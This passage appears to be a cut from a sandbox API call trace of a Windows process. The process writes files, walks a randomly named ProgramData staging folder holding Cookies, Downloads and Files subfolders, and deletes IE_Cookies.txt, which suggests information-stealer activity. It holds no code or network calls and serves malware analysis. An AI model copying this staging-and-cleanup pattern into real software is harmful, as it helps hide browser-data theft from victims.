nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.276] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.277] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.277] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.277] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.277] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.277] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.277] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.277] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.278] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.278] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.278] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.278] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.278] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.278] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.278] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.278] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.279] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.279] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.279] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.279] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.279] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.279] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.279] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.279] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e160*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e160*, lpNumberOfBytesWritten=0x19dfbc*=0x17, lpOverlapped=0x0) returned 1 [0149.280] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e378*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e378*, lpNumberOfBytesWritten=0x19dfbc*=0x11, lpOverlapped=0x0) returned 1 [0149.280] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=146, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x92 [0149.280] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x9) returned 0x236ac60 [0149.280] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x360) returned 0x23679f8 [0149.280] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33403f8 | out: hHeap=0x2360000) returned 1 [0149.280] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362e08 | out: hHeap=0x2360000) returned 1 [0149.280] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400e0 | out: hHeap=0x2360000) returned 1 [0149.280] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0149.307] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\IE_Cookies.txt" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\cookies\\ie_cookies.txt")) returned 1 [0149.308] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23628e0 | out: hHeap=0x2360000) returned 1 [0149.308] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ba3b4fb, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4ba3b4fb, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4ba3b4fb, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE_Cookies.txt", cAlternateFileName="IE_COO~1.TXT")) returned 0 [0149.308] FindClose (in: hFindFile=0x8823f0 | out: hFindFile=0x8823f0) returned 1 [0149.308] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23636d0 [0149.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0149.309] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x37) returned 0x32baf60 [0149.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies", cchWideChar=55, lpMultiByteStr=0x32baf60, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies", lpUsedDefaultChar=0x0) returned 55 [0149.309] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba1e0 [0149.309] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32baf60 | out: hHeap=0x2360000) returned 1 [0149.309] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.309] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366808 [0149.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x2366808, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.309] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366808 | out: hHeap=0x2360000) returned 1 [0149.309] PathMatchSpecW (pszFile="Cookies", pszSpec="*.*") returned 1 [0149.309] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23636d0 [0149.309] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340628 [0149.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0149.309] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x37) returned 0x32baf60 [0149.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies", cchWideChar=55, lpMultiByteStr=0x32baf60, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies", lpUsedDefaultChar=0x0) returned 55 [0149.309] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba228 [0149.309] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32baf60 | out: hHeap=0x2360000) returned 1 [0149.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Cookies", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.309] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x9) returned 0x236ac00 [0149.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Cookies", cchWideChar=9, lpMultiByteStr=0x236ac00, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Cookies", lpUsedDefaultChar=0x0) returned 9 [0149.309] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac00 | out: hHeap=0x2360000) returned 1 [0149.310] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.310] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba228 | out: hHeap=0x2360000) returned 1 [0149.310] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340628 | out: hHeap=0x2360000) returned 1 [0149.310] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.310] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\cookies")) returned 0 [0149.310] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba1e0 | out: hHeap=0x2360000) returned 1 [0149.310] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b7807f2, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b7807f2, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b7807f2, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0149.310] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" [0149.310] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\" [0149.310] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\", lpString2="Downloads" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads" [0149.310] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0149.310] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0149.310] lstrcatW (in: lpString1="\\", lpString2="Downloads" | out: lpString1="\\Downloads") returned="\\Downloads" [0149.310] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0149.310] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0149.310] lstrcpyW (in: lpString1=0x19ec04, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads" [0149.311] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads\\*.*" [0149.311] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads\\*.*", lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b7807f2, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b7807f2, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b7807f2, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8823f0 [0149.311] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads" [0149.311] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads\\" [0149.311] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads\\." [0149.311] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Downloads" | out: lpString1="\\Downloads") returned="\\Downloads" [0149.311] lstrcatW (in: lpString1="\\Downloads", lpString2="\\" | out: lpString1="\\Downloads\\") returned="\\Downloads\\" [0149.312] lstrcatW (in: lpString1="\\Downloads\\", lpString2="." | out: lpString1="\\Downloads\\.") returned="\\Downloads\\." [0149.312] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.312] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b7807f2, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b7807f2, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b7807f2, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.312] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads" [0149.312] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads\\" [0149.312] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads\\.." [0149.312] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Downloads" | out: lpString1="\\Downloads") returned="\\Downloads" [0149.312] lstrcatW (in: lpString1="\\Downloads", lpString2="\\" | out: lpString1="\\Downloads\\") returned="\\Downloads\\" [0149.312] lstrcatW (in: lpString1="\\Downloads\\", lpString2=".." | out: lpString1="\\Downloads\\..") returned="\\Downloads\\.." [0149.312] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.312] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.312] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b7807f2, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b7807f2, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b7807f2, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.312] FindClose (in: hFindFile=0x8823f0 | out: hFindFile=0x8823f0) returned 1 [0149.312] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23636d0 [0149.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads", cchWideChar=57, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0149.312] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x39) returned 0x32ba5d0 [0149.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads", cchWideChar=57, lpMultiByteStr=0x32ba5d0, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads", lpUsedDefaultChar=0x0) returned 57 [0149.313] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba228 [0149.313] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba5d0 | out: hHeap=0x2360000) returned 1 [0149.313] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.313] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.313] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366888 [0149.313] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x2366888, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.313] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366888 | out: hHeap=0x2360000) returned 1 [0149.313] PathMatchSpecW (pszFile="Downloads", pszSpec="*.*") returned 1 [0149.313] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23636d0 [0149.313] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33405d8 [0149.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads", cchWideChar=57, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0149.313] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x39) returned 0x32ba8a0 [0149.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads", cchWideChar=57, lpMultiByteStr=0x32ba8a0, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads", lpUsedDefaultChar=0x0) returned 57 [0149.313] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba858 [0149.313] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba8a0 | out: hHeap=0x2360000) returned 1 [0149.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Downloads", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.313] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xb) returned 0x236ac00 [0149.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Downloads", cchWideChar=11, lpMultiByteStr=0x236ac00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Downloads", lpUsedDefaultChar=0x0) returned 11 [0149.314] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac00 | out: hHeap=0x2360000) returned 1 [0149.314] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\downloads"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.314] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba858 | out: hHeap=0x2360000) returned 1 [0149.314] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33405d8 | out: hHeap=0x2360000) returned 1 [0149.314] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.314] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\downloads")) returned 0 [0149.314] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba228 | out: hHeap=0x2360000) returned 1 [0149.314] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e27c2f5, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e31da8b, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e31da8b, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Files", cAlternateFileName="")) 